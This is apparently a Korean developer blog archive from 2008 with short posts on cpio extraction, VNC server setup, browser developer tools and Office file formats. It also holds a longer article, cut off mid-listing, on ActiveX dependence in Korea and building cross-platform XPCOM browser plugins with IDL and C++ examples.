98..Etc/Etc...2008. 8. 6. 10:23
반응형

리눅스
cpio 대용량 파일 압축
압축 해제시

zcat 명령 파이프 압축된 파일을 미리 볼수 있으

zcat Linux9i_Disk1.cpio.gz | cpio -idmv


VNC 설정

bash # vi /etc/sysconfig/vncservers

-기본적으로 아래 2줄 은 주석 처리
#  VNCSERVERS="2:myusername"
#  VNCSERVERARGS[2]="-geometry 800x600 -nolisten tcp -nohttpd -localhost"

-아래 2줄을 마지막 줄에 입력
VNCSERVERS="1:root"
VNCSERVERARGS[0]="-geometry 1024x768 -nolisten tcp -nohttpd -localhost"

bash  #  cd ~ //  홈디렉토리 이동
bash  #  vncpasswd  //VNC 접속시 사용할 비밀번호 입력
bash  #  /etc/init.d/vncserver restart   //VNC 데몬을 재시작
bash  #  cd .vnc
bash  #  vi xstartup

- 아래의 2줄의 주석을 풀어준다

unset SESSION_MANAGER
exec  /etc/X11/xinit/xinitrc
bash  #  /etc/init.d/vncserver restart   //VNC 데몬을 다시 한번 재 시작

realvnc  를 실행 후 IP : 5901 를 입력한다.

Posted by 1010
98..Etc/Etc...2008. 7. 26. 17:20
반응형

브라우저에 붙여서 웹 개발시 도움이 될만한 툴이 다음처럼 몇가지 있습니다.

# Explorer용
1. IE Developer Toolbar
2. IE HTTP Analyzer

# Firefox용
3. Firebug
4. Web Developer Extension

1. IE Developer Toolbar
마이크로 소프트에서 배포하는 툴바입니다. beta2의 경우 툴바에 붙었는데.. 어찌된일인지.. beta3에는 툴바에 붙지 않네요.. 아무래도. 우리나라의 경우 많은 개발자들이 explorer를 기준으로 개발을 하다보니.. 이것저것 기능 설명을 해드리면 좋겠지만. 한번 써보세요.. 헉. 하실껍니다.
저는 주로 브라우저 resize와 color picker, outline및 DOM explorer기능을 정말 많이 사용합니다.

2. IE HTTP Analyzer
상용 소프트웨어입니다.

3. Firebug
웹 페이지 디버그및 CSS, HTML, JavaScript 모니터링을 위해 사용한다고 하네요.

4. Web Developer Extension
IE Developer Toolbar와 비슷한 기능을 담당하는 것 같습니다. 화면 보시고.. 일단 한번 사용해보세요.. ^^

출처 : Tong - BlueSky_08님의 개발업무통

Posted by 1010
98..Etc/Etc...2008. 7. 26. 17:17
반응형

Microsoft Office Binary (doc, xls, ppt) File Formats

Published: February 15, 2008 | Updated: February 15, 2008

The documents listed below are covered by the Microsoft Open Specification Promise.

On This Page
Microsoft Word Microsoft Word
Microsoft PowerPoint Microsoft PowerPoint
Microsoft Excel Microsoft Excel
Office Drawing Office Drawing
Supporting Technologies Supporting Technologies

Microsoft Word

Word 97-2007 Binary File Format (.doc) Specification PDF | XPS

Microsoft PowerPoint

PowerPoint 97-2007 Binary File Format (.ppt) Specification PDF | XPS

Microsoft Excel

Excel 97-2007 Binary File Format (.xls) Specification PDF | XPS

Excel 2007 Binary File Format (.xlsb) Specification PDF | XPS

Office Drawing

Office Drawing 97-2007 Binary Format Specification PDF | XPS

Supporting Technologies

See Supporting Technologies


출처 : Tong - BlueSky_08님의 개발업무통

Posted by 1010
98..Etc/Etc...2008. 7. 26. 17:15
반응형

출처 : Tong - BlueSky_08님의 개발업무통

Posted by 1010
98..Etc/Etc...2008. 7. 26. 17:14
반응형
2008.03.01 version 1.0.1
    ---------------------------------------------------------------------------------------
    Added Res format.
    When You work Resource File, After modify -  doing "Update Area" in Manager Menu.
    And do Save Resource.
    Added Capture Function.

    2008.03.21 version 1.0.2
    ---------------------------------------------------------------------------------------
    KicoEditor is Freeware, by Romeo.
    Added Supporting ICL (New Execute, Portable Execute) Format.
    Added Supporting PNG Format.
    KicoEditor Icon created by KicoEditor.(C:\Program Files\KicoEditor\05 배포\Binary\Test)
    Keditor Icon Group created by KicoEditor.
    Added Extra - KImageResizer 1.0  - PNG(Testing),
                                                            JPG, BMP, GIF(No Tested)






출처 : Tong - BlueSky_08님의 개발업무통

Posted by 1010
98..Etc/Etc...2008. 7. 26. 17:13
반응형
파이어폭스 사용자가 늘어나면서 한국 모질라 커뮤니티에서는 사이트 접근성에 대한 논란을 심심치 않게 볼 수 있다. 대부분 XX 사이트에서 XX 기능이 안되더라”, “인터넷 뱅킹을 할 수 없다” 등이었다. 이는 해당 웹 페이지들이 액티브X 컨트롤을 사용하기 때문이다.

특히 국내는 액티브X 컨트롤을 사용하는 웹 페이지가 상당히 많기 때문에 파이어폭스와 같은 비 인터넷 익스플로러 계열의 웹 브라우저에서는 해당 페이지의 접근성이 현저하게 떨어지기 마련이다. 여기서는 액티브 X에 대응하기 위한 모질라 진영 대안과 XPCOM 플러그인을 살펴보고, 간단한 예제를 통해 웹 사이트 접근성을 높일 수 있는 방안을 모색해 본다.

1995년 넷스케이프는 웹 브라우저와 외부 프로그램과의 통신에 있어 좀 더 다이내믹한 인터넷 경험을 제공하기 위해 플러그인이라는 기술을 선보였다. 그러나 MS는 인터넷 익스플로러(이하 IE)를 시장에 도입하면서 이에 대응하는 액티브X 기술을 발표하게 된다.

액티브X는 윈도우의 COM/DCOM 환경에서 인터넷을 자유자재로 사용할 수 있는 기술 플랫폼으로 IE에 임베딩되어 실행 가능하다. 이후 IE와 윈도우가 브라우저와 운영체제를 독점하게 됨에 따라 윈도우 환경에서는 자바 애플릿이나 넷스케이프 플러그인 기술을 대체하게 되었다

IE가 웹 브라우저 시장 독점체제를 구축하는 동안 국내에서는 세계에서도 유래를 찾아 볼 수 없을 정도로 급속한 인터넷 환경을 갖추게 되었다. 이러한 성장 이면에는 몇 가지 문제점이 발견됐는데 바로 특정 운영체제와 플랫폼에 종속성이 심화된 것이다.

웹 페이지를 만들 때도 현재의 W3C에서 발표한 웹 표준 스펙을 이용하지 않고, 당시 넷스케이프와 IE에서 경쟁적으로 내놓은 비표준 태그와 MS 표준을 기반으로 한 문서 객체(Document Object Model)만 사용하려는 행태가 현재에도 고쳐지지 않고 있다(IE도 최소한의 W3C 표준을 지키고 있어 표준을 따르기만 하면 쉽게 모든 브라우저를 지원하게 된다).

또한, 플러그인 사용에 있어 액티브X 종속성이 더 심화되어 비 윈도우, 비 IE 환경에서는 사용이 거의 불가능하다는 것이다.

액티브X 종속성은 외국에 비해 국내의 경우 매우 심각하다. 액티브X 컨트롤을 배포할 때 사용하는 코드사인(Codesign) 인증서의 경우, 베리사인으로부터 국내에 공급되는 양은 거의 800여 개가 된다. 인증서 하나를 하나의 회사에서 사용한다고 본다면 적어도 800개의 업체에서 800개의 액티브X 컨트롤이 배포되고 있다는 것을 의미한다. 이는 세계에서 최대 규모이며 적어도 코드사인 인증서의 경우 세계 최대 시장이라고 들었다. 필자도 윈도우에 최소로 액티브X를 설치하는 데도 30여 개 정도가 설치되어 있다.

왜 액티브X가 문제인가?
액티브X를 국내에서 급속도로 쓸 수밖에 없었던 이유는 몇 가지 있다. 첫 번째는 초고속 인터넷의 급속한 확대이다. 플러그인이 구동되기 위해서는 별도의 프로그램을 다운받아 설치해야 하는데 크기가 큰 것은 모뎀 수준의 연결 속도에서는 다운받을 때까지 기다릴 수 없다. 이런 이유로 아직 외국에서는 액티브X 같은 플러그인 기술을 사용하는 웹사이트가 거의 드물다. 플래시와 윈도우 미디어, 리얼플레이어 등과 어도비 아크로뱃 리더처럼 설치시 제공하는 플러그인 정도가 대부분이다.

이에 반해 국내는 로그인, 채팅, 파일 첨부, 광고, 카드 결제, 인터넷 뱅킹, 사이버 트레이딩, 게임, 심지어 정부 민원 업무까지 그야말로 쓰이지 않는 곳이 거의 없을 지경이다. 초고속망 국가로 빨리 진입한 것이 플러그인을 부담 없이 사용하게 한 원인이다.

두 번째는 웹과 애플리케이션의 구별이 모호하다는 것이다. 웹은 정보의 자유로운 공유라는 측면에서 발전되어 왔다. 하지만 국내에서는 웹을 애플리케이션이 하는 기능의 연장선상에서 바라보고 있으며, 그에 따라 부가 기능들이 계속적으로 필요로 하게 된 것이다. 소프트웨어의 모든 기능을 웹이 할 수 있다는 생각에 여러 기능들이 덕지덕지 붙어 결국 웹도 애플리케이션도 아닌 어중간한 웹사이트들이 만들어진 것이다.

세 번째는 국가 차원에서 플러그인 기술 장려를 들 수 있다. 국내에서 플러그인 기술이 가장 먼저 도입된 것도 인터넷 뱅킹과 공인 인증 기술에 있다. 1999년 당시 128비트 암호화가 탑재된 웹 브라우저가 미국 밖으로 수출이 안 되고 있는 사이, 우리나라에서는 128비트 암호화가 가능한 SEED라는 알고리즘을 개발했고, 이를 국가 인증 기술로 탑재하는 과정에서 플러그인 기술을 사용하게 된 것이다. 당시에는 넷스케이프와 IE 양쪽에 모두 포팅 했으나 브라우저 점유율 확대에 따라 지금은 액티브X만 남게 되었다.

플러그인은 자신의 PC에 다른 프로그램을 설치하는 것으로 보안 때문이라도 신중하게 설치 여부를 검토해야 한다. 하지만 인터넷 뱅킹, 사이버 트레이딩, 공인 인증 등 액티브X 프로그램을 보안 경고창의 ‘예’ 버튼 한번으로 설치했던 경험때문에 일반인들에게 거부감 없이 받아들여지고 있다(최근 IE의 보안 이슈와 악성 플러그인이 범람함에 따라 좀 더 신중하게 액티브X를 설치하는 사람들이 늘어나고 있기는 하지만).

대안 없는 무분별한 액티브X 사용은 그것이 자랑할만한 독자 기술이었다 해도 다시 특정 기술 플랫폼 종속적이 될 수밖에 없다는 실례를 국내의 공인 인증 기술에서 찾아볼 수 있다. 99%가 사용하고 있으니 그것만 지원하는 것이 효율적이라는 생각에는 종속성이 커짐에 따라 증대하는 관성과 더딘 기술의 진보, 그리고 상상할 수 없는 비용의 증가를 예고하는 것이다.

얼마 전 윈도우 XP 서비스팩 2 출시에 따른 액티브X 설치 방법의 변경으로 인해 생긴 문제 때문에 국내만 서비스팩 2 출시를 몇달 간 연기하고서 모든 웹사이트들이 이 문제에 매달렸던 것만 봐도 알 수 있다. 그래서 운영체제나 디바이스 플랫폼에 독립적인 데다 오픈소스이기도 한 모질라 플랫폼에서 제공하는 대안 기술을 주목해야 하는 것이다.

대안 1. 액티브X 플러그인 기술
많은 사람들이 파이어폭스가 액티브X를 지원하면 많은 문제가 해결되는데 왜 그렇게 하지 않는지 의문을 가진다. 액티브X는 윈도우 종속적인 기술이고 모질라는 크로스 플랫폼을 지향하는 특성상 그렇게 할 수가 없다. 그러나 같은 기능을 두 가지로 개발하는 비용을 들이는데 비해 우선 사용자 층이 두터운 윈도우 플랫폼에서 액티브X를 사용할 수 있게 한다면 또한 윈도우 개발자들도 모질라 플랫폼을 쉽게 가져다 쓸 수 있다면 서로를 이해하고 접근 하는데 더 용이하지 않을까?

그래서 시작된 것이 바로 모질라 액티브X 프로젝트(
http://www.iol.ie/~locka/mozilla/mozilla.htm)이다. 이 프로젝트는 성격상 모질라의 공식 프로젝트는 아니지만 자원봉사로 꾸준히 업데이트되고 있다.

이 프로젝트의 결과물은 크게 두 가지 부분으로 나눠진다. 그 첫 번째는 액티브X 플러그인(Plug-in For ActiveX controls) 기술이다. 이것은 기존의 모질라 플러그인 기술을 사용하여 윈도우에 설치된 액티브X를 감지하고 실행해 주는 플러그인이다. 즉, 파이어폭스에서 액티브X를 실행할 수 있게 해준다.

이를 위해서는 먼저 IE와 파이어폭스가 플러그인을 인식하는 방법을 맞출 필요가 있다. 똑같이 표준 태그인 <object>를 사용하고 있지만 그 속성을 인식할 때 IE는 classid="CLSID:XXXX...", 파이어폭스는 type="application/x-oleobject" 등과 같은 방법을 사용한다.

액티브X 플러그인은 일단 classid를 인식하게 해준다. 그리고 clsid에 해당하는 액티브X를 호스팅하여 실행한다. 만약 비표준 자바스크립트나 VBScript로 액티브X를 제어하면 제대로 동작하지 않겠지만, 그렇지 않은 경우 대부분 잘 동작한다.

<화면 1> 파이어폭스에서 윈도우 미디어 플레이어 액티브X가 실행되는 모습

이 프로그램에 모든 액티브X가 실행되는 것은 아니다. 만약 실행하고 싶은 액티브X가 있으면 파이어폭스 디렉토리 내에 activex.js 파일에 클래스 ID를 추가해줘야 한다.

pref("general.useragent.vendorComment", "ax");
pref("security.xpconnect.activex.global.hosting_flags", 9);
pref("security.classID.allowByDefault", false);
pref("capability.policy.default.ClassID.CID6BF52A52-394A-11D3-B153-00C04F79FAA6", "AllAccess");
pref("capability.policy.default.ClassID.CID22D6F312-B0F6-11D0-94AB-0080C74C7E95", "AllAccess");

이렇게 하는 이유는 보안상의 문제로 사용자가 실행할 액티브X를 결정할 수 있도록 하기 위해서이다. 아직 테스트 프로젝트이므로 편리한 인터페이스가 필요하다는 생각이 든다.

두 번째는 플러그인 액티브X(ActiveX hosting Plugin in IE)이다. 이 액티브X 컨트롤은 IE에서 넷스케이프 플러그인을 실행할 수 있도록 해 준다. MS가 IE 5.5 SP2부터 넷스케이프 플러그인에 대한 지원을 없애 버렸기 때문에 이 기능을 이용하면 넷스케이프 플러그인 개발자에게는 유용한 방식이다.

만약 넷스케이프 플러그인 만으로 구현 가능한 기술이라면, 액티브X 컨트롤을 중복해서 만들지 않더라도 모든 브라우저에서도 지원할 수 있다는 것을 의미한다. 이 방법을 테스트 해볼 수 있는 예제는
lxr.mozilla.org/seamonkey/ 에서 얻을 수 있다.

이렇듯 액티브X와 모질라 플랫폼 연결 고리가 가능하게 되자 이 프로젝트에서는 모질라 액티브X 컨트롤(
http://www.iol.ie/~locka/mozilla/control.htm)이라는 것을 구현하고 있다. 윈도우 개발자들은 IWebBrowser 같은 객체를 통해 IE를 간단하게 임베딩하여 프로그램에 사용할 수 있다.

<화면 2> 비주얼 베이직으로 모질라를 임베딩한 예제 실행 화면

이 모질라 액티브X도 마찬가지로 VC++, VB, 델파이, 닷넷 등에서 모질라를 간단하게 임베딩하여 코드를 사용할 수 있다. 간단한 예제를 만들어 실행하는 방법과 소스코드는 이 웹 페이지나 모질라 액티브X 소스코드 트리(lxr.mozilla.org/seamonkey/)를 참고하면 된다.

대안 2. XPCOM 플러그인 기술
액티브X와 모질라를 이어주는 플러그인 기술은 그 자체로서 크로스 플랫폼을 지원하지 않기 때문에 매우 불안정한 대안이라고 밖에 볼 수 없다. 모질라가 가지고 있는 근본적인 대안은 XPCOM(Cross-Platform Component Object Model)을 이용하여 모든 플랫폼을 동시에 지원하면서 XUL, 자바스크립트, CSS 등을 통해 리치 인터넷 애플리케이션(Rich Internet Application)을 만드는 기술의 확대를 꾀하는 것이다. 예전 플러그인이 수행했던 외부와의 통신 기능도 XML-RPC, SOAP, XMLHTTP 등의 기술로서 이미 해결되었기 때문에 확장 기능 등에서 활용도는 매우 높아지고 있다.

그러나 그밖에 외부 기술을 도입하고자 한다면 모질라 내부에 구현해야 한다. XPCOM 플러그인 기술은 XPIDL로 정의한 인터페이스를 구현한 플러그인 API와 이를 호출하는 XUL 및 자바스크립트로 구성되어 자유자재로 구현 가능하다. 각 API의 경우 각 운영체제별로 고려하고 컴파일하는 수고를 제외하고는 크로스 플랫폼에서 훌륭하게 돌아갈 수 있다. 글의 뒤 부분에서 XPCOM 플러그인을 활용한 구현 방법과 사례가 자세히 다뤄질 것이다.

대안 3. 새로운 표준 활동 WHATWG
그간 웹 표준화 기구인 W3C(
www.w3.org)를 통해 수많은 웹 표준들이 제정됐음에도 불구하고 플러그인 기술 즉 웹 애플리케이션 기술에 대한 표준은 만들어지지 못했다. 표준은 상호운용성과 개방성 측면에서 매우 중요하며, 공정한 경쟁을 유도할 수 있는 제도적 장치이다. 이러한 필요성에 따라 W3C는 2004년 4월 웹 애플리케이션에 대한 워크샵을 개최하고 이에 대한 의견을 나누었다.

이 워크샵에서 가장 큰 쟁점은 MS와 오페라/모질라 재단 연합이 발표한 웹 애플리케이션 방향에 대한 것이다. MS는 XAML/아발론 등으로 대별되는 롱혼(Longhorn) 전략과 자사가 제안한 CSS3에 대한 이야기만 한 반면, 오페라/모질라 연합은 기존의 웹 표준 기술을 활용한 중간 단계의 웹 애플리케이션 표준을 빨리 만들자는 제안을 했다.

이에 대해 많은 참석자들은 부정적인 반응을 나타냈다. 이런 문제를 다룰 워킹그룹이 아직 존재하지 않는다는 이유를 달았지만 이미 W3C는 데스크탑 환경에서 웹 표준 문제보다는 오히려 모바일 같은 비 PC 디바이스에서 상호운용성에 관심을 가진 사람들이 많았으며 그곳에 초점을 두고 있었기 때문이다.

이에 2004년 6월 오페라와 모질라의 이안 힉슨과 데이비드 바론, 애플의 데이비드 하야트 등이 주축이 되어 W3C와 별도로 표준안을 만들기 위한 웹 애플리케이션 기술 워킹그룹(Web Hypertext Application Techology Working Group,
http://whatwg.org)을 조직하고 활동에 들어갔다. 이 워킹그룹은 W3C 형식에 준하는 표준안 작업을 한 후 향후 IETF나 W3C에 기초안(draft)를 제안할 예정이다.

이 워킹그룹이 작업 중인 표준안은 크게 세 가지 영역으로 나눠져 있다. 그 중 가장 관심을 끄는 웹 애플리케이션 1.0은 애플리케이션 개발을 하기 위해 기존의 HTML을 확장하는 것이다. 흔히 HTML5라고 불리는 이 표준안은 XUL의 경험을 기초로 복잡한 XML을 사용하기보다는 기존의 HTML을 확장하여 UI를 만드는 것을 목표로 하는 것으로 기존의 파이어폭스 확장 기능보다도 더 쉽게 웹 애플리케이션을 만드는 방법을 제안할 것이다.

예를 들어 메뉴바를 만들기 위해서 다음과 같이 우리에게 익숙한 HTML 태그와 그 확장 태그를 쓰겠다는 것이다.

<menubar>
 <li>
  <a href="#file">File</a>
  <menu id="file">
   <li><button type="button" onclick="fnew()">New...</button></li>
   <li><button type="button" onclick="fopen()">Open...</button></li>
   <li><button type="button" onclick="fsave()" id="save">Save</button></li>
   <li><button type="button" onclick="fsaveas()">Save as...</button></li>
  </menu>
 </li>
</menubar>

이 표준안은 XHTML, CSS 같은 기존 표준안과는 연동되지만, XUL/XAML과는 독립적으로 구성하겠다는 뜻을 가지고 있어 웹 표준으로서 기술을 주도하겠다는 생각을 가지고 있다. 웹 폼 2.0(Web Forms 2.0)은 HTML 4.01의 폼 부분의 기능을 확장하는 작업으로 웹 애플리케이션에서 사용하는 데이터 입력 및 출력 그리고 추가 등을 위해 기초적으로 필요한 작업이다. 따라서 이 표준안 작업은 꽤 많이 진척되어 2004년 연말까지 거의 완성되었다.

W3C에는 이와 유사한, IBM이 제안하여 표준안이 된 XForm이 있다. XForm은 기계들 간의 데이터 교환 표준으로 삼고, WebForm은 사용자 인터페이스에 사용하게 하여 애플리케이션 개발자들이 이해하기 쉽도록 하자는 것이 이 표준안의 취지이다. 이 표준안이 W3C나 IETF에 받아들여진다면 비 MS 진영의 브라우저 애플리케이션 개발에 획기적인 플랫폼이 만들어질 것으로 예상된다.

<그림 1> XForm과 WebForm의 관계도

마지막으로 웹 컨트롤 1.0(Web Controls 1.0)은 새로운 WebForm과 UI에 대한 컨트롤과 외양 표시가 가능하도록 DOM과 CSS의 기존 표준을 확장하는 작업이다. 이 부분은 기존의 DOM/CSS의 객체 사용 방법이 어느 정도 성숙되어 있기 때문에 제일 마지막에 할 작업이 될 것이다.

표준은 표준으로만 존재하는 것이 아니라 구현됐을 때 빛을 발하게 된다. 모질라와 오페라, 애플이 만드는 새로운 표준은 웹 개방성과 상호운용성 문제를 해결할 수 있는 중요한 시발점이 될 것이다. 표준이 되더라도 과연 MS가 이를 수용할지 여부는 알 수 없지만 검증된 개발 방법론을 기초로 대안을 제시할 수 있다고 생각한다.

액티브X 넘어서기, XPCOM 구현
현재 모든 플랫폼에서 모질라 계열 웹 브라우저와 오페라, 매킨토시의 사파리(Safari) 등은 공통적으로 XPCOM 플러그인을 지원한다. 이 연합은 MS를 제외시켜 IE는 게코 플러그인이 지원하지 않는 유일한 웹 브라우저이다(인터넷 뱅킹을 할 때 <화면 3>과 같은 오류 메시지가 뜨는 것도 이 때문이다. 재미있는 것은 매킨토시용 익스플로러는 XPCOM 플러그인을 지원한다는 사실이다).

<화면 3> 파이어폭스로 은행 인터넷 뱅킹 접속시 출력 화면

넷스케이프 플러그인 기반, 라이브커넥트  
모질라 진영에서는 넷스케이프 4.x 시절부터 엑티브X에 대한 실질적인 대안을 준비해 왔다. 바로 라이브커넥트(LiveConnect)로, 웹 브라우저가 HTML에 종속된 한 가지 기술로만 개발되던 것에서 더 다양한 기술을 웹에 접목시키기 위해 도입된 기술이다. 내장된 JVM에서 자바 애플릿을 수행하고 NPAPI 1.1을 이용해 플러그인을 연동할 수 있는 것이 특징이다.

현재의 파이어폭스 XPCOM 아키텍처에는 이 라이브커넥트의 개념이 고스란히 담겨 있다(기존에 개발한 플러그인은 더 이상 4.x 시절의 라이브커넥트를 지원하지 않는다. 이전의 플러그인을 지원하려면 프로그램을 일부 수정해야 한다). 모든 플러그인은 XPConnect를 통해 자바스크립트에서 접근할 수 있으며 모질라에서 제공하는 게코 SDK의 NPAPI 2.0으로 모든 플랫폼에서 구현할 수 있다.

자바에 대한 의존성도 완전히 사라졌다. 4.x 시절 자바 1.1의 보안 모델에 전적으로 의존했지만 현재의 파이어폭스는 자체적인 보안 매니저가 있으며 자바도 플러그인으로 처리하여 플랫폼별로 최적의 JVM을 OJI(Open Java Interface)를 통해 접근할 수 있게 됐다.

국내 웹사이트의 현실을 볼 때 액티브X를 지원하지 않는 파이어폭스를 메인 웹 브라우저로 사용한다는 것은 여간 힘든 일이 아니다. 물론 IE 뷰 확장이나, 액티브X 호스팅 플러그인이 있지만 어디까지나 윈도우에서 파이어폭스를 사용하는 경우에 한정돼 있으며 근본적인 해결책이라 보기도 힘들다.

이런 점에서 앞서 언급한 넷스케이프의 다중 플랫폼 플러그인 지원 정책은 주목할 만하다. 국내의 경우 국가적으로 비 윈도우 운영체제에서의 웹 사이트 접근성을 높이려는 방안 등이 모색되고 있어 더욱 의미가 있다. 물론 액티브X가 이미 수많은 웹 사이트에 만연(?)해 있어, 일부 중복 개발의 우려가 있는 것도 사실이다. 그러나 플러그인 하나를 개발해 다양한 플랫폼에서 (IE를 제외한) 다양한 웹 브라우저를 지원할 수 있다는 점은 이런 우려를 불식시키기에 충분해 보인다.

파이어폭스의 XPCOM 플러그인은 XPCOM의 컴포넌트로 분류돼 플랫폼에 독립적인 공통 인터페이스를 제공한다. 넷스케이프 게코 플러그인 SDK를 이용해 개발하는데, SDK에 포함된 XPIDL로 플러그인에 접근하기 위한 타입 라이브러리를 만들고, 자바스크립트를 통해 스크립터블(scriptable : 호스트 오브젝트를 IDL을 통해 스크립트처럼 사용함을 말함)하게 접근할 수 있는 인터페이스를 만드는 것이다.

플러그인의 내부는 플러그인 측면(Plug-in side) API, 브라우저 측면(Browser side) API(동작 원리에서 설명), XPIDL에서 선언한 인터페이스들을 구현함으로써 완성된다. 이 때 한번 작성된 IDL(Interface Definition Language)과 플러그인은 플랫폼 독립적으로 유지, 보수할 수 있는 것이 특징이다(이 부분은 <그림 2>을 참조하면 이해가 쉽다). 빌드가 끝난 플러그인은 다음과 같이 각 플랫폼에 적절한 동적 라이브러리 형식을 취하게 된다.

◆ MS 윈도우 : Dynamic Link Library(.dll)
◆ 유닉스 : Share Object(.so 혹은 .dso)
◆ Mac OS : PPC Shared Library(.dylib)

이는 표준 인터페이스를 이용해 플랫폼 변화에 유연하게 대처할 수 있다는 장점이 있다. 플랫폼에 유연하다는 것 자체가 액티브 X에서는 불가능했던 개념으로, 플랫폼마다 최적의 네이티브 코드(native code)를 플러그인에 접목시켜 각 플랫폼의 특성에 맞게 작성할 수 있다. 그러나 각 플랫폼마다의 네이티브 코드를 고려해야 하고, 빌드를 따로 해야 하는 번거로움이 있다.

<그림 2> 넷스케이프 플러그인의 구조

플러그인 동작 원리
파이어폭스용 넷스케이프 플러그인은 기본적으로 다음 과정을 거쳐서 실행된다.

[1] MIME 타입에 해당하는 플러그인의 유무 검사
[2] 플러그인이 존재한다면 해당 플러그인을 메모리에 로드
[3] 플러그인 초기화
[4] 해당 플러그인의 인스턴스 생성

로딩된 플러그인 인스턴스는 다른 파이어폭스 브라우저 창에서 동시에 접속할 경우 인스턴스가 각각 생성되며 사용자가 해당 웹 페이지를 닫으면 소멸된다. 플러그인 오브젝트와 관련된 API는 플러그인 측면 API로 분류돼 브라우저가 콜백 함수처럼 호출한다. 브라우저 측면 API는 플러그인에서 호출하는 함수로, 메모리, 스트림, URL 제어 관련 함수들이 포함되며, 플러그인 측면 API처럼 플랫폼에 따라 적절하게 구현할 수 있다(양 측면 API 모두 사용자가 플랫폼의 특성을 고려하여 적절하게 구현할 수 있다). 모질라 웹 사이트(lxr.mozilla.org/)에 접속하면 다양한 플러그인 예제들을 볼 수 있다.

파이어폭스 플러그인 개발
그럼, 리눅스, 파이어폭스 환경에서 스크립터블하게 플러그인을 작성하는 예제를 본격적으로 살펴보자. 먼저 <리스트 1>과 같이 XPIDL을 정의한다.

 <리스트 1> XPIDL 정의

// 인터페이스 고유의 id를 할당하기 위해 uuidgen을 이용하여 생성된 uuid를 입력
[scriptable, uuid(bfcc113e-9a18-47ec-a441-5e1d6d05eeb9)]

// 부모 인터페이스 상속
interface nsIXecurePlugin : nsIParentClass {

// 변수 선언
attribute long val1;

// 함수 인터페이스 선언
void foo1();
void foo2();

};
%{C++
/* 생성될 헤더 파일에 포함시킬 요소를 C++ 형식으로 선언할 수 있다. */
%}

이 때 XPIDL 내에서 사용할 수 있는 데이터 타입과 플러그인 내부에서 매치되는 타입은 <표 1>과 같다.

<표 1> XPIDL 타입과 플러그인에서 사용되는 타입간 관계

wstring(플러그 인 타입 PRUnichar*에 해당하는) 타입은 UTF-16이며, 리눅스 glibc에서 사용하는 wchar* 타입은 UTF-32이므로 타입 사용에 있어 혼동하지 않기 바란다. 아울러 처리하게 될 문자들이 모두 ASCII로 이뤄지지 않는 이상 반드시 wstring을 선언해서 구현해야 한다. 이제 플러그인에서 include하는 헤더를 생성한다. -m header는 IDL에 대한 헤더를 출력하는 옵션으로 확장자가 .h로 생성된다.

xpidl -I /home/hkyang/gecko-sdk/xpcom/idl -m header nsIXecurePlugin.idl

생성된 헤더 파일의 내용은 다음과 같다. 함수의 첫 글자가 모두 대문자로 바뀐다는 사실에 유의하자. 각 함수에 대한 코멘트(comment)는 자동으로 생성된다. GetVal, SetVal는 선언한 long 타입의 attribute val 변수의 값을 설정하고 얻어올 수 있는 함수이다. attribute마다 한 쌍의 getter, setter 함수가 존재한다.

class NS_NO_VTABLE nsIXecurePlugin : public nsParentClass {

/* void foo1 (); */
NS_IMETHOD Foo1(void) = 0;
/* void foo2 (); */
NS_IMETHOD Foo2(void) = 0;

}

이 때 함수의 반환형은 NS_IMETHOD로 선언되며 플러그인 내부에서 NS_IMETHODIMP 타입으로 구현된다. NS_IMETHODIMP 타입은 플러그인 함수 호출에 대한 성공 여부, 실패 시 상태 값을 가진다. 자세한 내용은 SDK의 xpcom/nsError.h 파일을 참조하기 바란다. 함수 반환 값은 void로 선언하지 않은 이상 모든 경우에서 함수의 마지막 인자로 _retval 변수의 해당 타입에 해당하는 포인터로 선언된다. 이제 파이어폭스와 플러그인 사이의 인터페이스용 타입 라이브러리를 만들 차례다. -m typelib 옵션을 통해 생성하며 확장자가 .xpt로 생성된다.

xpidl -I /home/hkyang/gecko-sdk/xpcom/idl
-m typelib nsIXecurePlugin.idl

이제 플러그인 측면 API를 구현한다. 예제 사이트에 보면 각 플랫폼 별로 구현돼 있어 수정할 일이 거의 없지만 디버깅할 일이 있을지도 모르니 한번 다뤄보는 것도 좋다.

 <리스트 2> 플러그인 측면 API 구현

// MIME 타입과 플러그인의 정보를 입력한다.
#define MIME_TYPES_HANDLED "application/xecure-plugin"
#define PLUGIN_NAME "XecureWeb Plugin for Mozilla"
#define MIME_TYPES_DESCRIPTION MIME_TYPES_HANDLED"::"PLUGIN_NAME
#define PLUGIN_VERSION "1.0.0.1"
#define PLUGIN_DESCRIPTION PLUGIN_NAME " (for UNIX)" "::"PLUGIN_VERSION

/* 사이트에서 이동하거나 브라우저 창을 닫을 때 객체를 소멸시키는 NPP_Destroy 함수 */
NPError NPP_Destroy (NPP instance, NPSavedData** save)
{
    if(instance == NULL)
        return NPERR_INVALID_INSTANCE_ERROR;

    NPError rv = NPERR_NO_ERROR;

    // 플러그인 객체의 포인터를 할당 받은 후 객체를 소멸시킨다.
    nsPluginInstanceBase * plugin = (nsPluginInstanceBase *)
    instance->pdata;
    if(plugin != NULL) {
        plugin->shut();
        NS_DestroyPluginInstance(plugin);
        plugin = NULL;
    }
    return rv;
}


이제 플러그인 헤더를 정의한다. 플러그인이 스크립터블하기 위해서는 nsIClassInfo 클래스를 상속받아 구현해야 한다. nsIClassInfo 클래스는 모질라 시큐리티 매니저(mozilla security manage)가 자바스크립트의 해당 플러그인에 접근하도록 허가한다. IDL 인터페이스에서 선언한 nsIXecurePlugin 클래스와 플러그인을 스크립터블하게 접근하기 위해 상속받은 nsClassInfoMixin 클래스를 다중 상속받아 nsScriptablePeer를 선언한다.

class nsClassInfoMixin : public nsIClassInfo
{

}

class nsScriptablePeer : public nsIXecurePlugin,
public nsClassInfoMixin
{

}

이제 앞에서 선언한 nsScriptablePeer 클래스의 내부를 구현한다. IDL 파일에서 선언한 Foo1(), Foo2() 인터페이스의 내용을 구현해주면 된다.

NS_IMETHODIMP nsScriptablePeer::Foo1()
{

return NS_OK; // 플러그인이 정상적으로 호출되었음을 나타낸다.
}

이제 테스트에 사용할 html 페이지를 만들어 보자. 액티브 X와 XPCOM 플러그인 모두를 지원하며, 여기서는 EMBED invokeURLs=false 태그를 사용했지만 OBJECT 태그를 사용할 것을 권장한다. EMBED invokeURLs=false 태그는 파이어폭스에서 지원하기는 하나, 표준이 아니며 어디까지나 호환성을 위해 지원하는 것이다.

 <리스트 3> 테스트 html 페이지 작성

<script>
// 자세하게 구분할 수도 있으나 편의상 넷스케이프, 오폐라로 구분한다.
if(navigator.appName == 'Netscape' || (navigator.userAgent).indexOf("Opera") > 0)
{
    document.write("<EMBED invokeURLs=false type='application/xecure-plugin'
width=0 heigth=0 hidden=true
